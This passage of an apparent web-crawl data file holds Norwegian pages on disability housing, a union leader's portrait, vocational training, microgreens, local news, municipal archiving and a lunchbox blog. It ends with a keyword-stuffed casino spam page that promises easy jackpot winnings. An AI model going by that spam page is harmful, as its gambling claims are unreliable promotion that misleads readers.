forslagene renner ut i sanden\\!\n\nJeg tenker, forfatterne av \u00abP\u00e5 lik linje\u00bb, ledelse og styre i NFU, og mange andre av oss sitter maktesl\u00f8se og ser p\u00e5 at den politiske og byr\u00e5kratiske m\u00f8lla spiser opp tankesettene v\u00e5re.\n\nI mellomtiden har Nordlandsforsknings konklusjoner vunnet (og vi har TAPT). Det m\u00e5 selvf\u00f8lgelig samarbeides med Oslos byr\u00e5d og andre offentlige administratorer for \u00e5 kunne bruke fullt ut de gode instrumenter som er tilgjengelige. Det gjelder utnyttelse av gode finansieringsl\u00f8sninger og tilgang p\u00e5 mva \u2013 kompensasjon.\n\nS\u00e5 m\u00e5 vi mene noe sterkt og klart i h\u00f8ringen; fristen er 2. mars\\!\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Vi har en stor jobb \u00e5 gj\u00f8re for \u00e5 medvirke til at \u00abP\u00e5 lik linje's\u00bb forslag blir gjennomf\u00f8rt; de utviklingshemmede skal ha rett til egen bolig\\!\n\nJ\u00f8rn H. Eriksen\n\n#### Kommentarer \u00a0\u00a0\n\n   +1   \\#1 Berit Ovesen 12-02-2017 10:51\n\nJeg ledet boprosjektet som J\u00f8rn omtaler. Det stod ferdig i 2014 og da flyttet Tobias inn. J\u00f8rn peker p\u00e5 utfordringen med at kommunen ikke har et formelt ansvar. Dette er en hovedgrunn til at de fleste mennesker med utviklingshemmi ng ikke f\u00e5r tilbud om bolig. Verst er det i pressomr\u00e5der. Utfordringen med store enheter er at kommunen lett kan f\u00e5 en institusjonspre get tiln\u00e6rming til omsorgen de er forpliktet til \u00e5 levere. Omsorgsplikten er lovfestet. Min datter ble utsatt for minst 37 omsorgspersoner . Det var for mye for henne. Vi s\u00f8kte om rettighetsfeste t BPA. Bydelen avslo s\u00f8knaden. Den ligger n\u00e5 til behandling hos Fylkesmannen. N\u00e5r bygget er p\u00e5 plass, er det viktig \u00e5 f\u00e5 p\u00e5 plass en omsorg som er tilpasset hver enkelt og ikke se dem som en mer eller mindre homogen gruppe.\n\n   +1   \\#2 Hanne Therese R\u00f8rvik 12-02-2017 15:06\n\n10 stykker var voldsomt mange... bor 9 der jeg jobber, samme type bolig. Jeg tror egentlig 6 stykker er det ideelle.\n\n", "language": "no", "__index_level_0__": "05255e3c-da5b-449d-9339-c03fd57ef190"}
{"url": "http://arbeidslivet.no/Arbeid1/Likestilling/Portrett-Liv-S-Nilsson/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:31:42Z", "text": "# Portrett: Liv S. Nilsson\n\n\u00abJeg trives aldeles godt n\u00e5r jeg blir kalt LOs r\u00f8dstr\u00f8mpe. Jeg er opptatt av kvinnesak.\u00bb\n\n\n\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |\n| *Artikkelen er ett av ni portretter hentet fra Fafo-rapporten Kvinner i fagbevegelsen 2013, utgitt i anledning av hundre\u00e5rsjubileet for allmenn stemmerett for kvinner.* |\n\nOrdene er fra Liv S. Nilsson, den f\u00f8rste kvinnelige lederen i dav\u00e6rende Norsk Kommuneforbund. Hun er omtalt som en av de mest markante lederskikkelsene i fagbevegelsen.\n\nKontorfullmektigen fra Bod\u00f8 ble til alles overraskelse valgt som p\u00e5troppende forbundsleder under landsm\u00f8tet i 1982. Planen var at hun skulle overta i 1985 etter Torger Oxholm, som da ble pensjonist. \n\nI et intervju med LO-Aktuelt i 1991 fortalte hun at det var et sjokk \u00e5 bli valgt, og at \u00e5rene hun \u00abgikk p\u00e5 gress\u00bb f\u00f8r hun kunne ta over, var uholdbare. \u00c5rsaken var, if\u00f8lge henne selv, at \u00abingen visste hvem som var den egentlige lederen\u00bb.\n\nPresset p\u00e5 \u00e5 f\u00e5 jenter inn i ledelsen var det som avgjorde hennes positive svar til valgkomiteen i 1982. To tredjedeler av medlemmene var kvinner, mens tillitsvalgtapparatet var dominert av menn. Liv S. Nilsson var ikke alene om \u00e5 mene at likestillingssp\u00f8rsm\u00e5let hadde blitt d\u00e5rlig ivaretatt i forbundet. \n\nMen kritikken omfattet ogs\u00e5 LO, som Liv S. Nilsson mente b\u00e5de hadde et kvinneproblem og et problem med offentlig sektor.\n\nDa hun d\u00f8de i 1994, bare 51 \u00e5r gammel, sto det i ett av mange minneord at \u00abLiv S. Nilsson ga lavtl\u00f8nnede kvinner et ansikt, og satte seg i respekt i en mannsdominert fagog arbeiderbevegelse\u00bb.\n\nHun var hjemme med barna sine mens de var sm\u00e5, og begynte siden som kontorsekret\u00e6r ved R\u00f8nvik sykehus.\n\nDet er ikke s\u00e5 altfor lenge siden midten av 1980-tallet, men Liv S. Nilsson opplevde som nyvalgt leder \u00e5 bli presentert som \u00aben av de h\u00f8ye herrene fra Oslo\u00bb, da hun bes\u00f8kte Kommuneforbundets lokalavdelinger. Og hun fikk kommentarer som \u00abj\u00f8ss, er du s\u00e5 liten?\u00bb (1,58 h\u00f8y) og \u00abdu ser jo ganske snill ut\u00bb.\n\n\u00c5ret etter at hun overtok som leder, i 1986, barket Nilsson sammen med statsminister Gro Harlem Brundtland. If\u00f8lge Aftenposten sa hun at: \u00abJeg er ikke langsint, men det tar en stund f\u00f8r jeg glemmer det vi har opplevet\u00bb. Det dreide seg om l\u00f8nnsoppgj\u00f8ret i offentlig sektor, som Liv S. Nilsson mente regjeringen hadde h\u00e5ndtert p\u00e5 en sv\u00e6rt kl\u00f8nete m\u00e5te. \n\nOppgj\u00f8ret med statsministeren viste at hun var uredd, noe hun ogs\u00e5 var innad i fagbevegelsen. I forbindelse med LO-kongressen i 1989 gikk Liv S. Nilsson offentlig ut og sa at det ikke fantes kvinner som var dyktige nok til \u00e5 bli nestleder i LO. Esther Kost\u00f8l var da kandidat til vervet og ble valgt.\n\nSom kvinne i lederposisjon regnet hun med \u00e5 bli mer utsatt for kritikk enn menn. \u00abJeg blir rett som det er kalt for kjeftesmella \u2013 selvsagt i en humoristisk tone \u2013 men jeg tror ikke en mann i tilsvarende posisjon ville f\u00e5tt h\u00f8re det samme\u00bb, sa hun i et intervju i 1991.\n\nI 1987 fikk hun sin f\u00f8rste kreftdiagnose, men ble frisk. Fire \u00e5r etter ble hun syk igjen, og denne gangen uhelbredelig. Ledervervet i Norsk Kommuneforbund opptok omtrent hele livet hennes. N\u00e5r hun ikke var p\u00e5 kontoret, s\u00e5 sov hun. Det sosiale livet med familie og venner var igjen i Bod\u00f8, og i Oslo var det bare jobben som bet\u00f8d noe.  \n  \n\n***LES FLERE PORTRETTER** av kvinner i fagbevegelsen:\u00a0Liv Buck, **Sidsel Bauck**, **Esther Kost\u00f8l**,* ****** ***Ellen Stensrud**, **Gerd-Liv-Valla**, **Erna Hagensen**, **Kine Asper**, **Marlene J\u00f8rgensen**  \n*\n\n***Alt om: Likestilling**  \n", "language": "no", "__index_level_0__": "d2f9edc1-aff6-4aac-a1ed-c574c92f54e1"}
{"url": "http://arbeidslivet.no/Velferd/Utdanning/Videointervju-om-yrkesfag/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:30:34Z", "text": "Fafo Publisert 24. mar 2015\n\n  \n## Forskerne forklarer\n\n# Alt du trenger \u00e5 vite om fagoppl\u00e6ring\n\nHvordan blir man fagarbeider? Hvor lang tid bruker ungdom p\u00e5 gjennomf\u00f8ringen? Og er det riktig \u00e5 snakke om \u00abkrise\u00bb i fagoppl\u00e6ringen? Dette er bare noen av sp\u00f8rsm\u00e5lene som besvares av Fafo-forskerne Anna Hagen T\u00f8nder og Torgeir Nyen i dette videointervjuet.\n\nSe videointervju her:\u00a0Alt du trenger \u00e5 vite om fagoppl\u00e6ring\n\nTallene for 2015 viser en liten oppgang i s\u00f8kningen til yrkesfag, sammenliknet med 2014. Om lag halvparten av ungdomskullet s\u00f8ker seg til yrkesfag hvert \u00e5r. Men det er bare 55 prosent som fullf\u00f8rer i l\u00f8pet av fem \u00e5r.\n\n\u2013 Frafallet har v\u00e6rt stabilt i mange \u00e5r, forteller Fafo-forsker Anna Hagen T\u00f8nder. \u00a0Hun mener at det blir feil \u00e5 snakke om at forholdene har blitt s\u00e5 mye verre i l\u00f8pet av den siste tida.\n\nMye har likevel blitt bedre enn for noen ti\u00e5r tilbake. P\u00e5 1970-tallet var det 2000-3000 nye l\u00e6rekontrakter i \u00e5ret. N\u00e5 inng\u00e5s det om lag 18\u00a0000 nye l\u00e6rekontrakter per \u00e5r. Det uteksamineres 20\u00a0000 nye fagarbeidere i \u00e5ret.\n\n\u2013 Mye av suksessen skyldes det tette samarbeidet mellom skole og arbeidsliv, forteller de to Fafo-forskerne.\n\nSamtidig er det faresignaler: Det har blitt vanskeligere for bedriftene \u00e5 satse p\u00e5 fagl\u00e6rt arbeidskraft fordi rammebetingelsene er for d\u00e5rlige. Den h\u00f8ye arbeidsinnvandringen gj\u00f8r det lettere \u00e5 satse p\u00e5 utenlandsk arbeidskraft i stedet for \u00e5 utdanne egne.\n\n", "language": "no", "__index_level_0__": "0e5dadf7-95ef-4267-a2db-2087f84841b7"}
{"url": "https://www.tasenmicrogreens.no/omoss/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:17:45Z", "text": "# \n\n## Norges f\u00f8rste underjordiske plantefabrikk\n\nHistorien om T\u00e5sen Microgreens startet under bakken, i kjelleren v\u00e5r p\u00e5 T\u00e5sen. Bedriften er tuftet p\u00e5 ideen om \u00e5\u00a0ta i bruk ellers ugunstige lokaler til matproduksjon, for det finnes s\u00e5 mange lokaler i byen som enten brukes til lite b\u00e6rekraftige form\u00e5l som parkering eller lager, eller at de st\u00e5r tomme. Kombinasjonen av h\u00f8y fagkunnskap og ny teknologi gj\u00f8r det mulig \u00e5 dyrke spiselige planter i lokaler der verken mennesker eller planter vanligvis trives, og ved hjelp av kunstig lys og smarte dyrkingssystemer produserer vi spennende mat som er b\u00e5de b\u00e6rekraftig og kortreist. I desember 2016 flyttet vi inn i bomberommet til gamle Landbrukets Hus, som inntil nylig har v\u00e6rt brukt som arkiv for Norges Bondelag. Vi har dermed beveget oss vekk fra Nordre Aker og ned til sentrum, uten at vi har byttet navn av den grunn.\u00a0Kombinasjonen av optimale vekstforhold og kort leveringsvei s\u00f8rger fortsatt for h\u00f8yest mulig kvalitet p\u00e5 v\u00e5re microgreens.\n\nMicrogreens ble f\u00f8rst en mattrend i California p\u00e5 \u00e5ttitallet, men trenden spredte seg raskt og i dag f\u00e5r man tak i microgreens over hele verden. De er en mellomting mellom spirer og krydderurter, der man klipper av den \u00f8verste delen av planten og bruker den r\u00e5 i matlaging. Microgreens gir en annen opplevelse enn krydderurter til tross for at man kan bruke de samme sortene i produksjon (eks. sitronbasilikum, koriander og persille). Vi dyrker ogs\u00e5 flere k\u00e5lsorter, b\u00e5de nordiske og asiatiske varianter. Til microgreensproduksjon bruker man flere fr\u00f8, og h\u00f8ster avlingen tidligere enn i vanlig krydderurtproduksjon, og dermed blir smaken, n\u00e6ringstettheten og utseendet forskjellig. I den tidlige utviklingen av planten er det p\u00e5vist h\u00f8yere innhold av vitaminer og antioksidanter, men den viktigste grunnen til \u00e5 bruke microgreens er at de hever matopplevelsen, b\u00e5de gjennom utseendet og med spennende smaker.\n\nVi leverer til restauranter, cateringselskaper og spesialforretninger. Dersom dere \u00f8nsker et leveringstilbud, ta kontakt p\u00e5 firstname.lastname@example.org\n\n\u00a0\n", "language": "no", "__index_level_0__": "2258f799-a1c5-4fa9-8e6b-364eb05ac655"}
{"url": "http://nord-salten.no/no/nyheter/naring/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00016.warc.gz", "warc_date": "2018-03-24T23:27:42Z", "text": "\n\u00a0\nN\u00e6ring-\u00a0Bekymret for f\u00e6rre bes\u00f8kende til visningssenteret\n\nDet sier regiondirekt\u00f8r i Cermaq Norway, Snorre Jonassen, om det planlagte visningssenteret i Horsv\u00e5gen dersom Skutvik mister anl\u00f8p for hurtigb\u00e5t og ferge.\n\n\u00a0\n\n\nN\u00e6ringEllingsen Seafood AS, med sine seks oppdrettslokaliteter i Tysfjord, er n\u00e5 i full gang med slakting. Med rekordh\u00f8ye laksepriser p\u00e5 over 70 kroner kiloen for storlaks, jobbes det n\u00e5 p\u00e5 spreng for \u00e5 f\u00e5 Tysfjordlaksen ut i markedet.\n\n\u2013 Vi slakter fisk fra Tysfjord til gode priser. Den h\u00f8ye prisen skyldes delvis en svak krone og delvis lite fisk i markedet, fortellerdaglig leder Line Ellingsen.\n\n", "language": "no", "__index_level_0__": "5641965b-3ca2-44d9-87a9-b20e0cce74cc"}
{"url": "https://kommunal-rapport.no/2018/03/slurver-med-journalforing", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:20:19Z", "text": "\u00c5penhet. Nesten annethvert dokument i Skien blir ikke journalf\u00f8rt slik det skal og i\u00a0Porsgrunn gjelder det tre av ti, viser\u00a0nye forvaltningsrevisjoner. \u00a0\n\n\n\nKontrollutvalgsleder i Skien, Atle Aastad (H), mener administrasjonen m\u00e5 rydde opp i journalf\u00f8ringsrutinene. Bystyret behandler saken i dag. Arkivfoto: \u00d8yvind Aukrust\n\n#### Marte Danbolt\n\n8.3 2018 11:45\n\n\u00a0\u2013 Det er overraskende mye av det vi har kontrollert, som ikke blir journalf\u00f8rt. I postmottakene\u00a0er ting p\u00e5 stell. Det er dokumenter som g\u00e5r direkte til og fra saksbehandler\u00a0som er problemet, sier leder for forvaltningsrevisjon Kirsti Torbj\u00f8rnson i Telemark kommunerevisjon IKS til Kommunal Rapport.\n\nRevisjonen har tidligere avdekket mangelfull journalf\u00f8ring og arkivering i Kviteseid og Sauherad. N\u00e5 har de gjennomf\u00f8rt tilsvarende forvaltningsrevisjoner i Skien og Porsgrunn. Ogs\u00e5 her er det\u00a0mange arkivverdige dokumenter som ikke havner der de skal. Verst er det i Skien.\n\n", "language": "no", "__index_level_0__": "c6e52e95-a8e9-4c3f-876f-c6f93f61491c"}
{"url": "http://www.matpakkebloggen.no/2010/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:28:17Z", "text": "## torsdag 30. desember 2010\n\n### Julematpakke\n\nMed familielunsj og hyggelig lag her i g\u00e5r ble det naturlig \u00e5 bruke litt av restene i dagens matpakke.  \n  \n\n\n\nHer er det en liten klementin og druer, en elgkarbonade, og tre halve br\u00f8dskiver med  \n\n  - Frokostsalat, avocado og et \u00f8rlite dryss Himalayasalt\n  - Philadelphiaost, tomat og egg\n  - Julepostei og bacon\n\nVi baker br\u00f8det selv her i huset, og jeg kan fortelle at egenbakt br\u00f8d metter ganske s\u00e5 mye mer enn butikkj\u00f8pt. :)  \n  \nAlle matboksene kom endelig i hus rett f\u00f8r julaften, og jeg gleder meg til \u00e5 lage spennende bokser til alle n\u00e5r hverdagen starter igjen neste uke. I mellomtiden nyter jeg synet av \u00e5tte bokser godt stablet - p\u00e5 omtrent samme plass som bare to bokser tok f\u00f8r.  \n  \n\n\n\n  \nGod torsdag til deg\\!\n\n Lagt inn av  \n\nMarianne  kl. \n10:45    7 kommentarer:   Linker til dette innlegget         \n\n## torsdag 23. desember 2010\n\n### \u00abT\u00f8rr\u00bb matpakke til bilen\n\nMed halvannen time i bilen foran oss i dag er det greit \u00e5 pakke med litt kosemat til barna. Denne matpakken er b\u00e5de bil- og barnevennlig, og forholdsvis sunn. Dersom minsten mister litt mat s\u00e5 blir det ikke grisete p\u00e5 setet, dette lar seg raskt plukke opp eller b\u00f8rste bort.  \n\n\n\nHer er det en neve med rugfras, epleb\u00e5ter og rosiner, sukkererter, to grove rugkjeks (fra Kavli) og to Kornmo-kjeks. P\u00e5 toppen av kjeksene ble det lagt en lefse med leverpostei - men den ble laget etter at bildet ble tatt.  \nN\u00e5 har minsten litt \u00e5 velge mellom p\u00e5 turen.  \n  \nOg som du sikkert ser: n\u00e5 er endelig matboksene i hus\\! Jeg er kjempeforn\u00f8yd, og gleder meg til \u00e5 lage mange hyggelige matpakker til guttene n\u00e5r barnehagen begynner igjen.  \n  \n\u00d8nsker alle en riktig god jul\\!\n\n Lagt inn av  \n\nMarianne  kl. \n\n11:39    1 kommentar:   Linker til dette innlegget         \n\n Etiketter: matpakke \n\n## tirsdag 21. desember 2010\n\n### Lefse i matpakken\n\nI innspurten til julaften har vi julemat-inspirerte matpakker her i huset: i tillegg til 'vanlig' innhold f\u00e5r guttene med seg lefse med leverpostei. Kjempepopul\u00e6rt\\!\n\nJeg hadde aldri smakt annet enn lefse med sm\u00f8r og sukker da jeg m\u00f8tte mannen min, og han har introdusert meg til lefse med 'ordentlig' p\u00e5legg i juletiden. Det har vi videref\u00f8rt til andre tider av \u00e5ret ogs\u00e5, av og til kj\u00f8per vi lefser og av og til blir det lomperester etter p\u00f8lsemiddag.\n\nPr\u00f8v ogs\u00e5 lefse med sylte - eller med ribberester.  \n  \n\nAndre forslag:\n\n  - philadelphia, ruccola og solt\u00f8rket tomat\n  - egger\u00f8re og parmaskinke\n  - f\u00e5rep\u00f8lse\n  - salami og gulost\n  - brunost.\n  - philadelphia og r\u00f8kelaks\n  - tzatziki, pastrami og feta\n  - prim\n  - ost og skinke\n\nFor \u00e5 variere kan man ogs\u00e5 bruke tortilla-lefser i stedet for potetlefsene.  \nPr\u00f8v deg fram, bare fantasien setter grenser\\!  \n  \nGod tirsdag til deg\\!\n\n## fredag 17. desember 2010\n\n### Flott bok for matpakke-entusiaster\n\n\n\nJeg har f\u00e5tt mye inspirasjon fra boken \u00abMatpakka\u00bb, skrevet av Marit R\u00f8ttingsnes Westlie.  \n  \nForlaget skriver dette om boken p\u00e5 sine sider:  \n  \nI **Matpakkeboka** gir Marit deg sine beste oppskrifter p\u00e5 sunne og fristende matpakker du kan sende med barna   \n\n  - i barnehagen\n  - p\u00e5 skolen\n  - p\u00e5 tur\n\nMatpakkene er enkle \u00e5 lage og krever ikke avanserte ingredienser eller spesielt utstyr. Her er mange ulike typer br\u00f8d og wraps og masse frukt og gr\u00f8nt \u2013 enten p\u00e5 skiva eller ved siden av\u00a0\u2013 dessuten supper og salater. I tillegg gir forfatteren en mengde tips om for eksempel   \n\n  - hvordan maten skal holde seg frisk og innbydende i matpakka helt til den skal spises\n  - hvordan du kan kombinere ulike typer mat i samme matpakke\n  - hvordan du kan overraske barnet med sm\u00e5 hilsener og morsom innpakning (som er raskt og enkelt \u00e5 lage for deg)\n  - hvordan du kan f\u00e5 barna til \u00e5 ta seg en sunn matbit n\u00e5r de kommer hjem fra skolen,\u00a0n\u00e5r du er p\u00e5 jobb\n\nI Matpakkeboka f\u00e5r du en mengde nye ideer til fristende og n\u00e6ringsrik mat som holder barna dine opplagte og energiske hele dagen\\!  \n  \n  \nVil du vite mer om forfatteren kan du klikke her. Da kommer du til hjemmesiden hennes, med masse flotte oppskrifter. Vel verdt et bes\u00f8k\\!\n\nMarianne  kl. \n\n09:45    Ingen kommentarer:   Linker til dette innlegget         \n\n## tirsdag 14. desember 2010\n\n### Give away\n\nJeg vil feire at jeg har kommet i gang med matpakkebloggen,  \ns\u00e5 da har jeg\u00a0en give away:\n\n  \n  \nVil du ha en pakke med fire matbokser?  \nBor du i Norge, Sverige\u00a0eller Danmark?  \n  \nDa m\u00e5 du f\u00f8lge disse fire punktene:  \n\n1.  Bli f\u00f8lger av matpakkebloggen\n2.  Legge den til i bloggrullen din\n3.  Legge ut bilde og lenke om denne give awayen i din egen blogg\n4.  Legge igjen en kommentar under dette innlegget s\u00e5 jeg kan finne deg.\n\n  \nJeg trekker en vinner 14. januar 2011.  \n  \n**SORRY - I don't send outside of the Scandinavian countries\\!**  \n  \nLykke til\\!\n\nMarianne  kl. \n09:22    59 kommentarer:   Linker til dette innlegget         \n\n## tirsdag 7. desember 2010\n\n### Sm\u00f8ring\n\nMaten smaker bedre n\u00e5r man bruker litt \u00absm\u00f8ring\u00bb - det er sjelden noen innertier \u00e5 legge p\u00e5legget rett p\u00e5 br\u00f8dskiven.  \nHer er noen forslag til hva du kan bruke:  \n\n  - Margarin\n  - Sm\u00f8r\n\n## s\u00f8ndag 5. desember 2010\n\n### Sunne matpakker\n\nLunsj er et viktig m\u00e5ltid, og b\u00e5de barn og voksne b\u00f8r spise lunsj for \u00e5 \u00f8ke konsentrasjonen, utholdenheten og l\u00e6reevnen sin. Det er selvf\u00f8lgelig ogs\u00e5 viktig at lunsjen er sunn - og dersom den er den fristende er sannsynligheten for at den blir spist mye st\u00f8rre.  \nMen hvordan skal man f\u00e5 til alt dette?  \n  \n\nVariasjon  \n\nBytt p\u00e5 hva du sender med i matpakken. Br\u00f8dskiver er godt, men kan bli ensformig i lengden. Hva med wraps, polarbr\u00f8d\u00a0eller knekkebr\u00f8d? Eller kanskje middagsrester som kylling, omelett eller makaroni? Det er ikke noe i veien for \u00e5 sende med salat i matboksen, eller kanskje suppe p\u00e5 termos. Litt frukt og gr\u00f8nt hver dag h\u00f8rer ogs\u00e5 med,\u00a0her er ogs\u00e5 variasjonsmulighetene store.\n\n  \n\n\nLag morsomme former ved \u00e5 skj\u00e6re til selv eller bruke for eksempel pepperkakeformer, bruk mat-farger og tegn p\u00e5 maten, bruk trepinner eller plastsverd\u00a0til \u00e5\u00a0tre mat innp\u00e5, legg en hyggelig hilsen eller tegning i boksen - bruk fantasien\\! Og hvis du lar alle bli med og sm\u00f8re matpakker,\u00a0f\u00e5r alle velge det p\u00e5legget og tilbeh\u00f8ret de helst vil ha i pakken sin. Og det kan jo v\u00e6re morsomt i seg selv\\!\n\n  \n\n\nFristende og innbydende\n\nPr\u00f8v \u00e5 f\u00e5 det til \u00e5 se fristende ut. Bruk for eksempel et salatblad sammen med den kokte skinken, legg agurkskiver p\u00e5 noen br\u00f8dskiver og paprika p\u00e5 noen andre,\u00a0eller\u00a0lag fruktspyd med\u00a0druer og eplebiter. Oppdelt frukt og gr\u00f8nnsaker\u00a0er fristende - det\u00a0kan ogs\u00e5 andre matvarer som er pent oppdelt v\u00e6re.\n\n Lagt inn av  \n\nMarianne  kl. \n20:55    1 kommentar:   Linker til dette innlegget         \n\n## onsdag 1. desember 2010\n\n### \u00abHurtigmat\u00bb\n\nDet er en mengde spennende ting vi kan ha i skuffen,\u00a0kj\u00f8leskapet eller fryseren\u00a0som raskt kan sette en ekstra spiss p\u00e5 matpakken:  \n\n  - Cherrytomater\n  - Druer\n  - P\u00f8lsekuler (kalkun, fra Prior)\n  - Sm\u00e5 kj\u00f8ttboller\n  - Riskake\n  - Grove kjeks\n  - Minimais fra boks (liker Rimi sine, Rema har p\u00e5 glass og de er ikke like gode)\n  - Sm\u00e5-oster (babyBel, Norvegia)\n\n  \n\n\n  - Marianne  \n    Jeg er i min beste alder, gift, mor til to flotte gutter p\u00e5 8 1/2 og 10 \u00e5r. Jeg er nok langt over gjennomsnittet opptatt av barns spisevaner og hvordan man kan lage god, \u00abriktig\u00bb og spennende mat for b\u00e5de store og sm\u00e5 - og jeg trives med \u00e5 blogge om dette.\n\n## MATPAKKE\n\n**FRA WIKIPEDIA:**  \n  \n**Matpakke** er ferdigtilberedt mat som er pakket inn og tatt med ut av hjemmet til for eksempel arbeidsplasser, skoler eller som niste p\u00e5 turer. En typisk norsk matpakke best\u00e5r ofte av ferdigsmurte br\u00f8dskiver med p\u00e5legg, skilt med mellomleggspapir og pakket inn i matpapir eller en matboks.  \n  \nI den norske skolen er det vanlig at barn tar meg seg matpakke hjemmefra, som blir kalt skolemat eller niste. Det blir ofte blant de yngre elevene organisert spising av matpakke i skoletiden. Dette finner ofte sted rundt elleve-tiden om dagen. Skolen har ogs\u00e5 ofte melk- og frukt-ordninger der elevene f\u00e5r utdelt det ovenfornevnte.  \n  \nMatpakken er en tradisjon i Norge som strekker seg fra 1930-tallet. Ordet matpakke kom p\u00e5 3. plass da TV-programmet \u00abTypisk norsk\u00bb k\u00e5ret typiske norske ord blant seerne.  \n  \nBlant annet har Knutsen & Ludvigsen laget en hyllest til fenomenet med sangen \u00abMatpakkespisevise\u00bb.  \n  \n\\---oOo--- ---oOo--- ---oOo---  \n  \nEn **matboks** er en boks man kan transportere eller oppbevare (niste)mat i, f.eks matpakke. Den blir fortrinnsvis brukt til medbrakt lunsjmat, men kan ogs\u00e5 benyttes til oppbevaring av restemat fra et tidligere m\u00e5ltid. Matbokser er vanligvis laget av tre, metall eller plast. Matbokser kan v\u00e6re utsmykket med logoer og tegninger. Gamle matbokser kan bli samleobjekter.  \n  \nVerdens st\u00f8rste samling av matbokser befinner seg i Columbus i den amerikanske delstaten Georgia. Museet er bare fire \u00e5r gammelt, men inneholder allerede mer enn tusen matbokser og matchende tilbeh\u00f8r som kj\u00f8lebager og termoser. Her kan man beskue alt fra gamle metallbokser til skolebarnas moderne plastvarianter.  \n  \n\n    \n\n", "language": "no", "__index_level_0__": "c4c645ab-f5f7-4462-9142-5fc537571312"}
{"url": "http://mangabrazin.info/onlayn-kazino-eldorado-virtualnyy-igrovoy-klub/649", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:40:12Z", "text": "# Spilleautomater p\u00e5 danskeb\u00e5ten\n\n## Spilleautomater p\u00e5 danskeb\u00e5ten\n\nDette er ett av de automater p\u00e5 nettet bonusspillene der du ikke beh\u00f8ver \u00e5 gj\u00f8re noenting annet enn \u00e5 spilleautomater p\u00e5 danskeb\u00e5ten lene deg tilbake i godstolen og se pengene trille inn. Ingen tilsvarende spill gir tilsvarende gevinster, og det er ikke mange typer spill som er s\u00e5 popul\u00e6re som progressive jackpotter. Grunnen er veldig enkel. Hvor lenge er det f\u00f8r noen spilleautomater p\u00e5 danskeb\u00e5ten treffer jackpotten?. Ideen er \u00e5 gj\u00f8re jackpotten attraktiv for spillere igjen med \u00e9n gang og starte den neste runden s\u00e5 raskt og enkelt som mulig. Disse spillene er del av et enormt system som spilles av flere hundre tusen spillere hver dag, og en andel av hvert spill med ekte penger som plasseres p\u00e5 et progressivt spill legges til gevinstbel\u00f8pet. Spilleautomaten med samme navn er offisiell, med gyldig lisens og representerer filmen meget godt.\n\n## Mobile roulette no deposit\n\nOm du st\u00f8ter p\u00e5 noen problemer s\u00e5 kan du pr\u00f8ver \u00e5 oppdatere Adobe Flash versjonen din. Om du \u00f8nsker \u00e5 spille roulette eller baccarat s\u00e5 kan du velge mellom private bord og bord med andre gamblere. Microgaming er en av forl\u00f8perne innen online live casino spilling og har operert deres eget live casino i flere \u00e5r. N\u00e5r man bruker Microgamings programvare s\u00e5 er det ogs\u00e5 mulig \u00e5 spille flere forskjellige spill samtidig ved \u00e5 \u00e5pne de i forskjellige faner eller vindu p\u00e5 nettleseren din. Akkurat n\u00e5 finnes det over 35 progressive jackpotter som kan bli vunnet p\u00e5 Microgaming spill. Hjulsymbolene er blant annet pyramider, faraoer og skarabider, spillet har ogs\u00e5 fine grafikker og lyder. Om bordet du har lyst \u00e5 spille ved er fult, s\u00e5 kan du be programvaren gi deg beskjed med en gang det er en ledig plass. Sjekk reglene hos casinoet du spiller p\u00e5 for \u00e5 v\u00e6re sikker p\u00e5 at du ikke taper muligheten til \u00e5 bli en multimillion\u00e6r. Microgaming nettverket er kjent for \u00e5 ha noen av de st\u00f8rste progressive jackpot utbetalingene i hele kasinoindustrien.\n\n## Enarmet banditt wiki\n\nGevinster utbetales fra venstre mot h\u00f8yre. N\u00e5 som de fleste er p\u00e5 farten enten i jobbsammenheng eller privat, er det mange som liker \u00e5 la seg underholde med casinospill enten via mobilen eller nettbrettet. Dette lykkehjulet bidrar helt klart til at spillet blir mer interessant \u00e5 spille. Dette spillet minner mer om en klassisk retro spilleautomat. Spillemaskinen har et lekkert design med fine farger og lyder som medvirker til spillopplevelsen. Med 5 hjul og 10 gevinstlinjer blir den ikke for forvirrende, og du beh\u00f8ver ikke bruke lang tid p\u00e5 \u00e5 sette seg inn i hvordan automaten fungerer. Skru p\u00e5 lyden for \u00e5 f\u00e5 fullt utbytte av spillopplevelsen.\n\n\n\n## Casino action download\n\nOg ved \u00e5 matche de to like suksessfulle modellene, har vi helt spilleautomater p\u00e5 danskeb\u00e5ten klart f\u00e5tt en vinnende spilleautomat som stadig viser seg \u00e5 spilleautomater Vennesla v\u00e6re en en vinner p\u00e5 spillmarkedet. S\u00e5 godt som hver eneste spilleautomat de har sluppet har \u00f8yeblikkelig blitt en stor favoritt. Alt du trenger \u00e5 gj\u00f8re for \u00e5 f\u00e5 denne er spilleautomater p\u00e5 danskeb\u00e5ten \u00e5 registrere deg via linken under, eller en av v\u00e5re andre linker til SuperLenny. Dette er en enklere spilleautomat med likheter til andre favoritter som Big Bang og Elements. Den engelske versjonen av casinoet Lost Island har vist seg og v\u00e6re free slot cops and robbers en minst like stor suksess i utlandet som Lost Island har v\u00e6rt her i Norge. S\u00f8sknene SuperLenny og Thrills overrasker dermed stort ved \u00e5 ha f\u00e5tt dette store privilegiet spilleautomater p\u00e5 danskeb\u00e5ten. Klikk her for \u00e5 spille Lost Island n\u00e5\\!. Nettspillet Lost Island tilbyr n\u00e5 freespins uten innskudd s\u00e5 du kan teste norgesautomaten.\n\nS\u00e5 lenge det kommer et nytt wild symbol for hver gang, kan du 